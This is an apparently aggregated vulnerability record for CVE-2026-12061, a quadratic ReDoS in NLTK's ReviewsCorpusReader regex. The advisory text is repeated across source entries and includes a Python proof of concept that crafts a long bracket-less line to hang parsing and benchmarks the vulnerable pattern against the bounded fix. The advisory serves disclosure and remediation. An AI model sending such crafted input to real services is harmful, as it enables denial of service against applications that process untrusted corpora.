{"id":"CVE-2026-12061","aliases":["DEBIAN-CVE-2026-12061","GHSA-fg7f-2386-8897","PYSEC-2026-3582","UBUNTU-CVE-2026-12061"],"status":"published","title":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","description":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':\u003e7} {'~bytes':\u003e8}   {'time':\u003e12}   {'x prev':\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {'\u003e%.0fs TIMEOUT' % TIMEOUT:\u003e12}   {'--':\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2026-07-31T16:51:09Z","modified":"2026-10-17T12:58:04Z","fixes":[{"ecosystem":"PyPI","package":"nltk","fixed_in":["3.10.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"nltk","fixed_in":["3.10.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.9.4"},{"fixed":"3.10.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0-1"}]}],"versions":["3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0~b9-0ubuntu4","2.0~b9-0ubuntu4.1~esm2","2.0~b9-0ubuntu4.1~esm4","2.0~b9-0ubuntu4.1~esm5","2.0~b9-0ubuntu4.1~esm6"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.4-1","3.0.5-1","3.1-1","3.1-1ubuntu0.1","3.1-1ubuntu0.1+esm1","3.1-1ubuntu0.1+esm2","3.1-1ubuntu0.1+esm3","3.1-1ubuntu0.1+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.4-1","3.2.5-1","3.2.5-1ubuntu0.1","3.2.5-1ubuntu0.1+esm1","3.2.5-1ubuntu0.1+esm2","3.2.5-1ubuntu0.1+esm3","3.2.5-1ubuntu0.1+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.5-1","3.4.5-2","3.4.5-2ubuntu0.1~esm1","3.4.5-2ubuntu0.1~esm2","3.4.5-2ubuntu0.1~esm3","3.4.5-2ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.5-1","3.6.5-1","3.6.7-1","3.7-1","3.7-1ubuntu0.1~esm1","3.7-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.1-1","3.8.1-1ubuntu0.1~esm1","3.8.1-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.2-1","3.9.3-1","3.10.0-1","3.10.1-1","3.10.3-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.1-2","3.9.1-2build1","3.9.2-1","3.9.2-1ubuntu0.1~esm1","3.9.2-1ubuntu0.1~esm2"]}],"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897","tags":["web","report"]},{"url":"https://github.com/advisories/GHSA-fg7f-2386-8897","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-12061","tags":["advisory"]},{"url":"https://github.com/nltk/nltk","tags":["package"]},{"url":"https://pypi.org/project/nltk","tags":["package"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12061","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-12061","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12061","tags":["report"]}],"sources":{"ghsa":[{"id":"GHSA-fg7f-2386-8897","title":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","description":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':\u003e7} {'~bytes':\u003e8}   {'time':\u003e12}   {'x prev':\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {'\u003e%.0fs TIMEOUT' % TIMEOUT:\u003e12}   {'--':\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","status":"published","published":"2026-07-31T16:51:09Z","modified":"2026-07-31T16:51:10Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:40:55.903445Z"}],"osv":[{"id":"GHSA-fg7f-2386-8897","title":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","description":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':\u003e7} {'~bytes':\u003e8}   {'time':\u003e12}   {'x prev':\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {'\u003e%.0fs TIMEOUT' % TIMEOUT:\u003e12}   {'--':\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","status":"published","published":"2026-07-31T16:51:09Z","modified":"2026-09-10T03:50:51.940502717Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:46.39441Z"},{"id":"PYSEC-2026-3582","title":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","description":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':\u003e7} {'~bytes':\u003e8}   {'time':\u003e12}   {'x prev':\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {'\u003e%.0fs TIMEOUT' % TIMEOUT:\u003e12}   {'--':\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","status":"published","published":"2026-08-04T11:34:46.033806Z","modified":"2026-08-04T14:30:27.317719126Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"DEBIAN-CVE-2026-12061","status":"published","published":"2026-08-12T16:47:43.738794761Z","modified":"2026-09-01T15:05:16.540995325Z","updated_at":"2026-11-02T15:45:51.374409Z"},{"id":"UBUNTU-CVE-2026-12061","description":"[Unknown description]","status":"published","published":"2026-08-13T00:00:00Z","modified":"2026-10-17T12:58:04.815075324Z","updated_at":"2026-11-02T16:56:00.081948Z"}]}}